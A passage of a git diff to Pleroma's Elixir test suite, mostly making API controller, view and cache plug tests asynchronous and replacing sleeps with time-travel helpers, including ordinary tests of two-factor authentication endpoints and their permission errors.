	- {:ok, _chat_2} = Chat.get_or_create(user.id, jafnhar.ap_id)
	- :timer.sleep(1000)
	+ {:ok, chat_1} = time_travel(chat_1, -3)
	+ {:ok, chat_2} = Chat.get_or_create(user.id, jafnhar.ap_id)
	+ {:ok, _chat_2} = time_travel(chat_2, -2)
	{:ok, chat_3} = Chat.get_or_create(user.id, tridi.ap_id)
	- :timer.sleep(1000)
	+ {:ok, chat_3} = time_travel(chat_3, -1)

	# bump the second one
	{:ok, chat_2} = Chat.bump_or_create(user.id, jafnhar.ap_id)

	result =
	conn
	\|> get("/api/v1/pleroma/chats")
	\|> json_response_and_validate_schema(200)

	ids = Enum.map(result, & &1["id"])

	assert ids == [
	chat_2.id \|> to_string(),
	chat_3.id \|> to_string(),
	chat_1.id \|> to_string()
	]
	end

	test "it is not affected by :restrict_unauthenticated setting (issue #1973)", %{
	conn: conn,
	user: user
	} do
	clear_config([:restrict_unauthenticated, :profiles, :local], true)
	clear_config([:restrict_unauthenticated, :profiles, :remote], true)

	user2 = insert(:user)
	user3 = insert(:user, local: false)

	{:ok, _chat_12} = Chat.get_or_create(user.id, user2.ap_id)
	{:ok, _chat_13} = Chat.get_or_create(user.id, user3.ap_id)

	result =
	conn
	\|> get("/api/v1/pleroma/chats")
	\|> json_response_and_validate_schema(200)

	account_ids = Enum.map(result, &get_in(&1, ["account", "id"]))
	assert Enum.sort(account_ids) == Enum.sort([user2.id, user3.id])
	end
	end
	end
	diff --git a/test/pleroma/web/pleroma_api/controllers/conversation_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/conversation_controller_test.exs
	index f2feeaaef..c8c2433ae 100644
	--- a/test/pleroma/web/pleroma_api/controllers/conversation_controller_test.exs
	+++ b/test/pleroma/web/pleroma_api/controllers/conversation_controller_test.exs
	@@ -1,136 +1,136 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.PleromaAPI.ConversationControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.Conversation.Participation
	alias Pleroma.Repo
	alias Pleroma.User
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	test "/api/v1/pleroma/conversations/:id" do
	user = insert(:user)
	%{user: other_user, conn: conn} = oauth_access(["read:statuses"])

	{:ok, _activity} =
	CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}!", visibility: "direct"})

	[participation] = Participation.for_user(other_user)

	result =
	conn
	\|> get("/api/v1/pleroma/conversations/#{participation.id}")
	\|> json_response_and_validate_schema(200)

	assert result["id"] == participation.id \|> to_string()
	end

	test "/api/v1/pleroma/conversations/:id/statuses" do
	user = insert(:user)
	%{user: other_user, conn: conn} = oauth_access(["read:statuses"])
	third_user = insert(:user)

	{:ok, _activity} =
	CommonAPI.post(user, %{status: "Hi @#{third_user.nickname}!", visibility: "direct"})

	{:ok, activity} =
	CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}!", visibility: "direct"})

	[participation] = Participation.for_user(other_user)

	{:ok, activity_two} =
	CommonAPI.post(other_user, %{
	status: "Hi!",
	in_reply_to_status_id: activity.id,
	in_reply_to_conversation_id: participation.id
	})

	result =
	conn
	\|> get("/api/v1/pleroma/conversations/#{participation.id}/statuses")
	\|> json_response_and_validate_schema(200)

	assert length(result) == 2

	id_one = activity.id
	id_two = activity_two.id
	assert [%{"id" => ^id_one}, %{"id" => ^id_two}] = result

	{:ok, %{id: id_three}} =
	CommonAPI.post(other_user, %{
	status: "Bye!",
	in_reply_to_status_id: activity.id,
	in_reply_to_conversation_id: participation.id
	})

	assert [%{"id" => ^id_two}, %{"id" => ^id_three}] =
	conn
	\|> get("/api/v1/pleroma/conversations/#{participation.id}/statuses?limit=2")
	\|> json_response_and_validate_schema(:ok)

	assert [%{"id" => ^id_three}] =
	conn
	\|> get("/api/v1/pleroma/conversations/#{participation.id}/statuses?min_id=#{id_two}")
	\|> json_response_and_validate_schema(:ok)
	end

	test "PATCH /api/v1/pleroma/conversations/:id" do
	%{user: user, conn: conn} = oauth_access(["write:conversations"])
	other_user = insert(:user)

	{:ok, _activity} = CommonAPI.post(user, %{status: "Hi", visibility: "direct"})

	[participation] = Participation.for_user(user)

	participation = Repo.preload(participation, :recipients)

	user = User.get_cached_by_id(user.id)
	assert [user] == participation.recipients
	assert other_user not in participation.recipients

	query = "recipients[]=#{user.id}&recipients[]=#{other_user.id}"

	result =
	conn
	\|> patch("/api/v1/pleroma/conversations/#{participation.id}?#{query}")
	\|> json_response_and_validate_schema(200)

	assert result["id"] == participation.id \|> to_string

	[participation] = Participation.for_user(user)
	participation = Repo.preload(participation, :recipients)

	assert user in participation.recipients
	assert other_user in participation.recipients
	end

	test "POST /api/v1/pleroma/conversations/read" do
	user = insert(:user)
	%{user: other_user, conn: conn} = oauth_access(["write:conversations"])

	{:ok, _activity} =
	CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}", visibility: "direct"})

	{:ok, _activity} =
	CommonAPI.post(user, %{status: "Hi @#{other_user.nickname}", visibility: "direct"})

	[participation2, participation1] = Participation.for_user(other_user)
	assert Participation.get(participation2.id).read == false
	assert Participation.get(participation1.id).read == false
	assert Participation.unread_count(other_user) == 2

	[%{"unread" => false}, %{"unread" => false}] =
	conn
	\|> post("/api/v1/pleroma/conversations/read", %{})
	\|> json_response_and_validate_schema(200)

	[participation2, participation1] = Participation.for_user(other_user)
	assert Participation.get(participation2.id).read == true
	assert Participation.get(participation1.id).read == true
	assert Participation.unread_count(other_user) == 0
	end
	end
	diff --git a/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs
	index 289119d45..5f8fa03f6 100644
	--- a/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs
	+++ b/test/pleroma/web/pleroma_api/controllers/mascot_controller_test.exs
	@@ -1,73 +1,73 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.PleromaAPI.MascotControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.User

	test "mascot upload" do
	%{conn: conn} = oauth_access(["write:accounts"])

	non_image_file = %Plug.Upload{
	content_type: "audio/mpeg",
	path: Path.absname("test/fixtures/sound.mp3"),
	filename: "sound.mp3"
	}

	ret_conn =
	conn
	\|> put_req_header("content-type", "multipart/form-data")
	\|> put("/api/v1/pleroma/mascot", %{"file" => non_image_file})

	assert json_response_and_validate_schema(ret_conn, 415)

	file = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	conn =
	conn
	\|> put_req_header("content-type", "multipart/form-data")
	\|> put("/api/v1/pleroma/mascot", %{"file" => file})

	assert %{"id" => _, "type" => _image} = json_response_and_validate_schema(conn, 200)
	end

	test "mascot retrieving" do
	%{user: user, conn: conn} = oauth_access(["read:accounts", "write:accounts"])

	# When user hasn't set a mascot, we should just get pleroma tan back
	ret_conn = get(conn, "/api/v1/pleroma/mascot")

	assert %{"url" => url} = json_response_and_validate_schema(ret_conn, 200)
	assert url =~ "pleroma-fox-tan-smol"

	# When a user sets their mascot, we should get that back
	file = %Plug.Upload{
	content_type: "image/jpeg",
	path: Path.absname("test/fixtures/image.jpg"),
	filename: "an_image.jpg"
	}

	ret_conn =
	conn
	\|> put_req_header("content-type", "multipart/form-data")
	\|> put("/api/v1/pleroma/mascot", %{"file" => file})

	assert json_response_and_validate_schema(ret_conn, 200)

	user = User.get_cached_by_id(user.id)

	conn =
	conn
	\|> assign(:user, user)
	\|> get("/api/v1/pleroma/mascot")

	assert %{"url" => url, "type" => "image"} = json_response_and_validate_schema(conn, 200)
	assert url =~ "an_image"
	end
	end
	diff --git a/test/pleroma/web/pleroma_api/controllers/notification_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/notification_controller_test.exs
	index bb4fe6c49..03af4d70c 100644
	--- a/test/pleroma/web/pleroma_api/controllers/notification_controller_test.exs
	+++ b/test/pleroma/web/pleroma_api/controllers/notification_controller_test.exs
	@@ -1,68 +1,68 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.PleromaAPI.NotificationControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.Notification
	alias Pleroma.Repo
	alias Pleroma.Web.CommonAPI

	import Pleroma.Factory

	describe "POST /api/v1/pleroma/notifications/read" do
	setup do: oauth_access(["write:notifications"])

	test "it marks a single notification as read", %{user: user1, conn: conn} do
	user2 = insert(:user)
	{:ok, activity1} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"})
	{:ok, activity2} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"})
	{:ok, [notification1]} = Notification.create_notifications(activity1)
	{:ok, [notification2]} = Notification.create_notifications(activity2)

	response =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/pleroma/notifications/read", %{id: notification1.id})
	\|> json_response_and_validate_schema(:ok)

	assert %{"pleroma" => %{"is_seen" => true}} = response
	assert Repo.get(Notification, notification1.id).seen
	refute Repo.get(Notification, notification2.id).seen
	end

	test "it marks multiple notifications as read", %{user: user1, conn: conn} do
	user2 = insert(:user)
	{:ok, _activity1} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"})
	{:ok, _activity2} = CommonAPI.post(user2, %{status: "hi @#{user1.nickname}"})
	{:ok, _activity3} = CommonAPI.post(user2, %{status: "HIE @#{user1.nickname}"})

	[notification3, notification2, notification1] = Notification.for_user(user1, %{limit: 3})

	[response1, response2] =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/pleroma/notifications/read", %{max_id: notification2.id})
	\|> json_response_and_validate_schema(:ok)

	assert %{"pleroma" => %{"is_seen" => true}} = response1
	assert %{"pleroma" => %{"is_seen" => true}} = response2
	assert Repo.get(Notification, notification1.id).seen
	assert Repo.get(Notification, notification2.id).seen
	refute Repo.get(Notification, notification3.id).seen
	end

	test "it returns error when notification not found", %{conn: conn} do
	response =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/pleroma/notifications/read", %{
	id: 22_222_222_222_222
	})
	\|> json_response_and_validate_schema(:bad_request)

	assert response == %{"error" => "Cannot get notification"}
	end
	end
	end
	diff --git a/test/pleroma/web/pleroma_api/controllers/scrobble_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/scrobble_controller_test.exs
	index f39c07ac6..4ab6d9132 100644
	--- a/test/pleroma/web/pleroma_api/controllers/scrobble_controller_test.exs
	+++ b/test/pleroma/web/pleroma_api/controllers/scrobble_controller_test.exs
	@@ -1,60 +1,60 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.PleromaAPI.ScrobbleControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	alias Pleroma.Web.CommonAPI

	describe "POST /api/v1/pleroma/scrobble" do
	test "works correctly" do
	%{conn: conn} = oauth_access(["write"])

	conn =
	conn
	\|> put_req_header("content-type", "application/json")
	\|> post("/api/v1/pleroma/scrobble", %{
	"title" => "lain radio episode 1",
	"artist" => "lain",
	"album" => "lain radio",
	"length" => "180000"
	})

	assert %{"title" => "lain radio episode 1"} = json_response_and_validate_schema(conn, 200)
	end
	end

	describe "GET /api/v1/pleroma/accounts/:id/scrobbles" do
	test "works correctly" do
	%{user: user, conn: conn} = oauth_access(["read"])

	{:ok, _activity} =
	CommonAPI.listen(user, %{
	title: "lain radio episode 1",
	artist: "lain",
	album: "lain radio"
	})

	{:ok, _activity} =
	CommonAPI.listen(user, %{
	title: "lain radio episode 2",
	artist: "lain",
	album: "lain radio"
	})

	{:ok, _activity} =
	CommonAPI.listen(user, %{
	title: "lain radio episode 3",
	artist: "lain",
	album: "lain radio"
	})

	conn = get(conn, "/api/v1/pleroma/accounts/#{user.id}/scrobbles")

	result = json_response_and_validate_schema(conn, 200)

	assert length(result) == 3
	end
	end
	end
	diff --git a/test/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs
	index 22988c881..8d4e0104a 100644
	--- a/test/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs
	+++ b/test/pleroma/web/pleroma_api/controllers/two_factor_authentication_controller_test.exs
	@@ -1,264 +1,264 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.PleromaAPI.TwoFactorAuthenticationControllerTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true

	import Pleroma.Factory
	alias Pleroma.MFA.Settings
	alias Pleroma.MFA.TOTP

	describe "GET /api/pleroma/accounts/mfa/settings" do
	test "returns user mfa settings for new user", %{conn: conn} do
	token = insert(:oauth_token, scopes: ["read", "follow"])
	token2 = insert(:oauth_token, scopes: ["write"])

	assert conn
	\|> put_req_header("authorization", "Bearer #{token.token}")
	\|> get("/api/pleroma/accounts/mfa")
	\|> json_response(:ok) == %{
	"settings" => %{"enabled" => false, "totp" => false}
	}

	assert conn
	\|> put_req_header("authorization", "Bearer #{token2.token}")
	\|> get("/api/pleroma/accounts/mfa")
	\|> json_response(403) == %{
	"error" => "Insufficient permissions: read:security."
	}
	end

	test "returns user mfa settings with enabled totp", %{conn: conn} do
	user =
	insert(:user,
	multi_factor_authentication_settings: %Settings{
	enabled: true,
	totp: %Settings.TOTP{secret: "XXX", delivery_type: "app", confirmed: true}
	}
	)

	token = insert(:oauth_token, scopes: ["read", "follow"], user: user)

	assert conn
	\|> put_req_header("authorization", "Bearer #{token.token}")
	\|> get("/api/pleroma/accounts/mfa")
	\|> json_response(:ok) == %{
	"settings" => %{"enabled" => true, "totp" => true}
	}
	end
	end

	describe "GET /api/pleroma/accounts/mfa/backup_codes" do
	test "returns backup codes", %{conn: conn} do
	user =
	insert(:user,
	multi_factor_authentication_settings: %Settings{
	backup_codes: ["1", "2", "3"],
	totp: %Settings.TOTP{secret: "secret"}
	}
	)

	token = insert(:oauth_token, scopes: ["write", "follow"], user: user)
	token2 = insert(:oauth_token, scopes: ["read"])

	response =
	conn
	\|> put_req_header("authorization", "Bearer #{token.token}")
	\|> get("/api/pleroma/accounts/mfa/backup_codes")
	\|> json_response(:ok)

	assert [<<_::bytes-size(6)>>, <<_::bytes-size(6)>>] = response["codes"]
	user = refresh_record(user)
	mfa_settings = user.multi_factor_authentication_settings
	assert mfa_settings.totp.secret == "secret"
	refute mfa_settings.backup_codes == ["1", "2", "3"]
	refute mfa_settings.backup_codes == []

	assert conn
	\|> put_req_header("authorization", "Bearer #{token2.token}")
	\|> get("/api/pleroma/accounts/mfa/backup_codes")
	\|> json_response(403) == %{
	"error" => "Insufficient permissions: write:security."
	}
	end
	end

	describe "GET /api/pleroma/accounts/mfa/setup/totp" do
	test "return errors when method is invalid", %{conn: conn} do
	user = insert(:user)
	token = insert(:oauth_token, scopes: ["write", "follow"], user: user)

	response =
	conn
	\|> put_req_header("authorization", "Bearer #{token.token}")
	\|> get("/api/pleroma/accounts/mfa/setup/torf")
	\|> json_response(400)

	assert response == %{"error" => "undefined method"}
	end

	test "returns key and provisioning_uri", %{conn: conn} do
	user =
	insert(:user,
	multi_factor_authentication_settings: %Settings{backup_codes: ["1", "2", "3"]}
	)

	token = insert(:oauth_token, scopes: ["write", "follow"], user: user)
	token2 = insert(:oauth_token, scopes: ["read"])

	response =
	conn
	\|> put_req_header("authorization", "Bearer #{token.token}")
	\|> get("/api/pleroma/accounts/mfa/setup/totp")
	\|> json_response(:ok)

	user = refresh_record(user)
	mfa_settings = user.multi_factor_authentication_settings
	secret = mfa_settings.totp.secret
	refute mfa_settings.enabled
	assert mfa_settings.backup_codes == ["1", "2", "3"]

	assert response == %{
	"key" => secret,
	"provisioning_uri" => TOTP.provisioning_uri(secret, "#{user.email}")
	}

	assert conn
	\|> put_req_header("authorization", "Bearer #{token2.token}")
	\|> get("/api/pleroma/accounts/mfa/setup/totp")
	\|> json_response(403) == %{
	"error" => "Insufficient permissions: write:security."
	}
	end
	end

	describe "GET /api/pleroma/accounts/mfa/confirm/totp" do
	test "returns success result", %{conn: conn} do
	secret = TOTP.generate_secret()
	code = TOTP.generate_token(secret)

	user =
	insert(:user,
	multi_factor_authentication_settings: %Settings{
	backup_codes: ["1", "2", "3"],
	totp: %Settings.TOTP{secret: secret}
	}
	)

	token = insert(:oauth_token, scopes: ["write", "follow"], user: user)
	token2 = insert(:oauth_token, scopes: ["read"])

	assert conn
	\|> put_req_header("authorization", "Bearer #{token.token}")
	\|> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: code})
	\|> json_response(:ok)

	settings = refresh_record(user).multi_factor_authentication_settings
	assert settings.enabled
	assert settings.totp.secret == secret
	assert settings.totp.confirmed
	assert settings.backup_codes == ["1", "2", "3"]

	assert conn
	\|> put_req_header("authorization", "Bearer #{token2.token}")
	\|> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: code})
	\|> json_response(403) == %{
	"error" => "Insufficient permissions: write:security."
	}
	end

	test "returns error if password incorrect", %{conn: conn} do
	secret = TOTP.generate_secret()
	code = TOTP.generate_token(secret)

	user =
	insert(:user,
	multi_factor_authentication_settings: %Settings{
	backup_codes: ["1", "2", "3"],
	totp: %Settings.TOTP{secret: secret}
	}
	)

	token = insert(:oauth_token, scopes: ["write", "follow"], user: user)

	response =
	conn
	\|> put_req_header("authorization", "Bearer #{token.token}")
	\|> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "xxx", code: code})
	\|> json_response(422)

	settings = refresh_record(user).multi_factor_authentication_settings
	refute settings.enabled
	refute settings.totp.confirmed
	assert settings.backup_codes == ["1", "2", "3"]
	assert response == %{"error" => "Invalid password."}
	end

	test "returns error if code incorrect", %{conn: conn} do
	secret = TOTP.generate_secret()

	user =
	insert(:user,
	multi_factor_authentication_settings: %Settings{
	backup_codes: ["1", "2", "3"],
	totp: %Settings.TOTP{secret: secret}
	}
	)

	token = insert(:oauth_token, scopes: ["write", "follow"], user: user)
	token2 = insert(:oauth_token, scopes: ["read"])

	response =
	conn
	\|> put_req_header("authorization", "Bearer #{token.token}")
	\|> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: "code"})
	\|> json_response(422)

	settings = refresh_record(user).multi_factor_authentication_settings
	refute settings.enabled
	refute settings.totp.confirmed
	assert settings.backup_codes == ["1", "2", "3"]
	assert response == %{"error" => "invalid_token"}

	assert conn
	\|> put_req_header("authorization", "Bearer #{token2.token}")
	\|> post("/api/pleroma/accounts/mfa/confirm/totp", %{password: "test", code: "code"})
	\|> json_response(403) == %{
	"error" => "Insufficient permissions: write:security."
	}
	end
	end

	describe "DELETE /api/pleroma/accounts/mfa/totp" do
	test "returns success result", %{conn: conn} do
	user =
	insert(:user,
	multi_factor_authentication_settings: %Settings{
	backup_codes: ["1", "2", "3"],
	totp: %Settings.TOTP{secret: "secret"}
	}
	)

	token = insert(:oauth_token, scopes: ["write", "follow"], user: user)
	token2 = insert(:oauth_token, scopes: ["read"])

	assert conn
	\|> put_req_header("authorization", "Bearer #{token.token}")
	\|> delete("/api/pleroma/accounts/mfa/totp", %{password: "test"})
	\|> json_response(:ok)

	settings = refresh_record(user).multi_factor_authentication_settings
	refute settings.enabled
	assert settings.totp.secret == nil
	refute settings.totp.confirmed

	assert conn
	\|> put_req_header("authorization", "Bearer #{token2.token}")
	\|> delete("/api/pleroma/accounts/mfa/totp", %{password: "test"})
	\|> json_response(403) == %{
	"error" => "Insufficient permissions: write:security."
	}
	end
	end
	end
	diff --git a/test/pleroma/web/pleroma_api/views/chat_view_test.exs b/test/pleroma/web/pleroma_api/views/chat_view_test.exs
	index 02484b705..b60b597e8 100644
	--- a/test/pleroma/web/pleroma_api/views/chat_view_test.exs
	+++ b/test/pleroma/web/pleroma_api/views/chat_view_test.exs
	@@ -1,49 +1,49 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.PleromaAPI.ChatViewTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Chat
	alias Pleroma.Chat.MessageReference
	alias Pleroma.Object
	alias Pleroma.Web.CommonAPI
	alias Pleroma.Web.CommonAPI.Utils
	alias Pleroma.Web.MastodonAPI.AccountView
	alias Pleroma.Web.PleromaAPI.Chat.MessageReferenceView
	alias Pleroma.Web.PleromaAPI.ChatView

	import Pleroma.Factory

	test "it represents a chat" do
	user = insert(:user)
	recipient = insert(:user)

	{:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id)

	represented_chat = ChatView.render("show.json", chat: chat)

	assert represented_chat == %{
	id: "#{chat.id}",
	account:
	AccountView.render("show.json", user: recipient, skip_visibility_check: true),
	unread: 0,
	last_message: nil,
	updated_at: Utils.to_masto_date(chat.updated_at)
	}

	{:ok, chat_message_creation} = CommonAPI.post_chat_message(user, recipient, "hello")

	chat_message = Object.normalize(chat_message_creation, false)

	{:ok, chat} = Chat.get_or_create(user.id, recipient.ap_id)

	represented_chat = ChatView.render("show.json", chat: chat)

	cm_ref = MessageReference.for_chat_and_object(chat, chat_message)

	assert represented_chat[:last_message] ==
	MessageReferenceView.render("show.json", chat_message_reference: cm_ref)
	end
	end
	diff --git a/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs b/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs
	index 0f43cbdc3..113b8f690 100644
	--- a/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs
	+++ b/test/pleroma/web/pleroma_api/views/scrobble_view_test.exs
	@@ -1,20 +1,20 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.PleromaAPI.ScrobbleViewTest do
	- use Pleroma.DataCase
	+ use Pleroma.DataCase, async: true

	alias Pleroma.Web.PleromaAPI.ScrobbleView

	import Pleroma.Factory

	test "successfully renders a Listen activity (pleroma extension)" do
	listen_activity = insert(:listen)

	status = ScrobbleView.render("show.json", activity: listen_activity)

	assert status.length == listen_activity.data["object"]["length"]
	assert status.title == listen_activity.data["object"]["title"]
	end
	end
	diff --git a/test/pleroma/web/plugs/cache_control_test.exs b/test/pleroma/web/plugs/cache_control_test.exs
	index fcf3d2be8..c775787ca 100644
	--- a/test/pleroma/web/plugs/cache_control_test.exs
	+++ b/test/pleroma/web/plugs/cache_control_test.exs
	@@ -1,20 +1,20 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Plugs.CacheControlTest do
	- use Pleroma.Web.ConnCase
	+ use Pleroma.Web.ConnCase, async: true
	alias Plug.Conn

	test "Verify Cache-Control header on static assets", %{conn: conn} do
	conn = get(conn, "/index.html")

	assert Conn.get_resp_header(conn, "cache-control") == ["public, no-cache"]
	end

	test "Verify Cache-Control header on the API", %{conn: conn} do
	conn = get(conn, "/api/v1/instance")

	assert Conn.get_resp_header(conn, "cache-control") == ["max-age=0, private, must-revalidate"]
	end
	end
	diff --git a/test/pleroma/web/plugs/cache_test.exs b/test/pleroma/web/plugs/cache_test.exs
	index 93a66f5d3..0e5fa6f36 100644
	--- a/test/pleroma/web/plugs/cache_test.exs
	+++ b/test/pleroma/web/plugs/cache_test.exs
	@@ -1,186 +1,182 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

	defmodule Pleroma.Web.Plugs.CacheTest do
	- use ExUnit.Case, async: true
	+ # Relies on Cachex, has to stay synchronous
	+ use Pleroma.DataCase
	use Plug.Test

	alias Pleroma.Web.Plugs.Cache

	@miss_resp {200,
	[
	{"cache-control", "max-age=0, private, must-revalidate"},
	{"content-type", "cofe/hot; charset=utf-8"},
	{"x-cache", "MISS from Pleroma"}
	], "cofe"}

	@hit_resp {200,
	[
	{"cache-control", "max-age=0, private, must-revalidate"},
	{"content-type", "cofe/hot; charset=utf-8"},
	{"x-cache", "HIT from Pleroma"}
	], "cofe"}

	@ttl 5

	- setup do
	- Cachex.clear(:web_resp_cache)
	- :ok
	- end
	-
	test "caches a response" do
	assert @miss_resp ==
	conn(:get, "/")
	\|> Cache.call(%{query_params: false, ttl: nil})
	\|> put_resp_content_type("cofe/hot")
	\|> send_resp(:ok, "cofe")
	\|> sent_resp()

	assert_raise(Plug.Conn.AlreadySentError, fn ->
	conn(:get, "/")
	\|> Cache.call(%{query_params: false, ttl: nil})
	\|> put_resp_content_type("cofe/hot")
	\|> send_resp(:ok, "cofe")
	\|> sent_resp()
	end)

	assert @hit_resp ==
	conn(:get, "/")
	\|> Cache.call(%{query_params: false, ttl: nil})
	\|> sent_resp()
	end

	test "ttl is set" do
	assert @miss_resp ==
	conn(:get, "/")
	\|> Cache.call(%{query_params: false, ttl: @ttl})
	\|> put_resp_content_type("cofe/hot")
	\|> send_resp(:ok, "cofe")
	\|> sent_resp()

	assert @hit_resp ==
	conn(:get, "/")
	\|> Cache.call(%{query_params: false, ttl: @ttl})
	\|> sent_resp()

	:timer.sleep(@ttl + 1)

	assert @miss_resp ==
	conn(:get, "/")
	\|> Cache.call(%{query_params: false, ttl: @ttl})
	\|> put_resp_content_type("cofe/hot")
	\|> send_resp(:ok, "cofe")
	\|> sent_resp()
	end

	test "set ttl via conn.assigns" do
	assert @miss_resp ==
	conn(:get, "/")
	\|> Cache.call(%{query_params: false, ttl: nil})
	\|> put_resp_content_type("cofe/hot")
	\|> assign(:cache_ttl, @ttl)
	\|> send_resp(:ok, "cofe")
	\|> sent_resp()

	assert @hit_resp ==
	conn(:get, "/")
	\|> Cache.call(%{query_params: false, ttl: nil})
	\|> sent_resp()

	:timer.sleep(@ttl + 1)

	assert @miss_resp ==
	conn(:get, "/")
	\|> Cache.call(%{query_params: false, ttl: nil})
	\|> put_resp_content_type("cofe/hot")
	\|> send_resp(:ok, "cofe")
	\|> sent_resp()
	end

	test "ignore query string when `query_params` is false" do
	assert @miss_resp ==
	conn(:get, "/?cofe")
	\|> Cache.call(%{query_params: false, ttl: nil})
	\|> put_resp_content_type("cofe/hot")
	\|> send_resp(:ok, "cofe")
	\|> sent_resp()

	assert @hit_resp ==
	conn(:get, "/?cofefe")
	\|> Cache.call(%{query_params: false, ttl: nil})
	\|> sent_resp()
	end

	test "take query string into account when `query_params` is true" do
	assert @miss_resp ==
	conn(:get, "/?cofe")
	\|> Cache.call(%{query_params: true, ttl: nil})
	\|> put_resp_content_type("cofe/hot")
	\|> send_resp(:ok, "cofe")
	\|> sent_resp()

	assert @miss_resp ==
	conn(:get, "/?cofefe")
	\|> Cache.call(%{query_params: true, ttl: nil})
	\|> put_resp_content_type("cofe/hot")
	\|> send_resp(:ok, "cofe")
	\|> sent_resp()
	end

	test "take specific query params into account when `query_params` is list" do
	assert @miss_resp ==
	conn(:get, "/?a=1&b=2&c=3&foo=bar")
	\|> fetch_query_params()
	\|> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil})
	\|> put_resp_content_type("cofe/hot")
	\|> send_resp(:ok, "cofe")
	\|> sent_resp()

	assert @hit_resp ==
	conn(:get, "/?bar=foo&c=3&b=2&a=1")
	\|> fetch_query_params()
	\|> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil})
	\|> sent_resp()

	assert @miss_resp ==
	conn(:get, "/?bar=foo&c=3&b=2&a=2")
	\|> fetch_query_params()
	\|> Cache.call(%{query_params: ["a", "b", "c"], ttl: nil})
	\|> put_resp_content_type("cofe/hot")
	\|> send_resp(:ok, "cofe")
	\|> sent_resp()
	end

	test "ignore not GET requests" do
	expected =
	{200,
	[
	{"cache-control", "max-age=0, private, must-revalidate"},
	{"content-type", "cofe/hot; charset=utf-8"}
	], "cofe"}

	assert expected ==
	conn(:post, "/")
	\|> Cache.call(%{query_params: true, ttl: nil})
	\|> put_resp_content_type("cofe/hot")
	\|> send_resp(:ok, "cofe")
	\|> sent_resp()
	end

	test "ignore non-successful responses" do
	expected =
	{418,
	[
	{"cache-control", "max-age=0, private, must-revalidate"},
	{"content-type", "tea/iced; charset=utf-8"}
	], "🥤"}

	assert expected ==
	conn(:get, "/cofe")
	\|> Cache.call(%{query_params: true, ttl: nil})
	\|> put_resp_content_type("tea/iced")
	\|> send_resp(:im_a_teapot, "🥤")
	\|> sent_resp()
	end
	end
	diff --git a/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs
	index 211443a55..9f15f5c93 100644
	--- a/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs
	+++ b/test/pleroma/web/plugs/ensure_public_or_authenticated_plug_test.exs
	@@ -1,48 +1,48 @@
	# Pleroma: A lightweight social networking server
	# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/>
	# SPDX-License-Identifier: AGPL-3.0-only

